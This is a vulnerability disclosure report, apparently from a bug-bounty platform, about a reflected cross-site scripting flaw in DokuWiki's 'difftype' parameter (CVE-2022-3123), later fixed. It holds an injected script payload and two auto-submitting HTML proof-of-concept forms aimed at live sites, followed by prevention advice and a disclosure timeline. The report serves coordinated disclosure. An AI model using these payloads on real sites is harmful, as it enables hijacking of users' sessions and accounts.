

## 1

Reported on Sep 2nd 2022

Cross-Site Scripting (XSS) attacks are

while surfing [dokuwiki.org](http://dokuwiki.org) with burpsuit i noticed that dokuwiki is using global like variables

you can send this request and capture

Content-Type: application/x-www-form-urlencoded

Cookie: DokuWiki=57vk0n23v486p8vdjqc15oigpu; DOKU\_PREFS=show\_changes%23both

**Accept:** text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (k

Connection: Keep-alive

difftype=sidebyside'"()%26%25&lt;zzz&gt;&lt;ScRiPt%20&gt;alert("XSS By STRINGS/Script)

i added HTML file below. When someone opens this html file, or we can add it into our website, XSS will execute.

```
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://www.dokuwiki.org/start" method="POST">
      <input type="hidden" name="difftype" value="sidebyside">
      <input type="hidden" name="do" value="diff" />
      <input type="hidden" name="do#91;diff#93;" value="1" />
      <input type="hidden" name="id" value="ttps#58;start" />
      <input type="hidden" name="rev2#91;0#93;" value="1" />
      <input type="hidden" name="rev2#91;1#93;" value="0" />
      <input type="hidden" name="sectok" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

## How to prevent XSS attacks:

Preventing cross-site scripting is trivial in some cases but can be much harder depending on the complexity of the application and the ways it handles user-controllable data. In general, effectively preventing XSS vulnerabilities is likely to involve a combination of the following measures:

Filter input on arrival. At the point where user input is received, filter as strictly as possible based on what is expected or valid input.

Encode data on output. At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content.

Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding.

Use appropriate response headers. To prevent XSS in HTTP responses that aren't intended to contain any HTML or JavaScript, you can use the Content-Type and X-Content-Type-Options headers to ensure that browsers interpret the responses in the way you intend.

Content Security Policy. As a last line of defense, you can use Content Security Policy (CSP) to

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reduce the severity of any XSS vulnerabilities that still occur.

## Impact

The consequence of an XSS attack is the same regardless of whether it is stored or reflected (or DOM Based). The difference is in how the payload arrives at the server. If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:

Perform any action within the application that the user can perform.

View any information that the user is able to view.

Modify any information that the user is able to modify.

Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

## References

- <https://owasp.org/www-community/attacks/xss/>
- <https://portswigger.net/web-security/cross-site-scripting/preventing>
- [https://owasp.org/www-project-top-ten/2017/A7\\_2017-Cross-Site\\_Scripting\\_\(XSS\)](https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS))

CVE

CVE-2022-3123

(Published)

Vulnerability Type

CWE-79: Cross-site Scripting (XSS) - Reflected

Severity

Medium (5.4)

Registry

Other

Affected Version

2022-07-31 "Igor" [current]

Visibility

Public

Status

Fixed

Found by



Eslam Kamal

@strik3r0x1

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unranked ▾

Fixed by



Andreas Gohr

@splitbrain

unranked ▾

This report was seen 1,342 times.

We are processing your report and will contact the [splitbrain/dokuwiki](#) team within 24 hours.  
3 months ago

Eslam Kamal modified the report 3 months ago

Eslam Kamal modified the report 3 months ago

We have contacted a member of the [splitbrain/dokuwiki](#) team and are waiting to hear back  
3 months ago

Eslam Kamal 3 months ago

Researcher

also i have found that <https://www.splitbrain.org/> is powered by Dokuwiki

here is exploit of this issue on splitbrain.org

HTML POC:

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://www.splitbrain.org/projects" method="POST">
  <input type="hidden" name="difftype" value="sidebyside&apos;&quot;;&#40;&#41;&amp;" />
  <input type="hidden" name="do" value="diff" />
  <input type="hidden" name="do&#91;diff&#93;" value="1" />
  <input type="hidden" name="id" value="projects" />
  <input type="hidden" name="rev2&#91;0&#93;" value="1" />
  <input type="hidden" name="rev2&#91;1&#93;" value="0" />
  <input type="hidden" name="sectok" value="1" />
  <input type="submit" value="Submit request" />
</form>
</body>
</html>
```

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```
</form>
</body>
</html>
```



POC

<https://ibb.co/KNtMtVn>

A [splitbrain/dokuwiki](#) maintainer has acknowledged this report 3 months ago

[Andreas Gohr](#) validated this vulnerability 3 months ago

[Eslam Kamal](#) has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

[Andreas Gohr](#) marked this as fixed in [2022-07-31a](#) with commit [63e9a2](#) 3 months ago

[Andreas Gohr](#) has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

[Eslam Kamal](#) 3 months ago

Researcher

Hi @maintainer @admin  
if possible can we assign CVE id for this vulnerability?

[Jamie Slome](#) 3 months ago

Admin

Sorted :)

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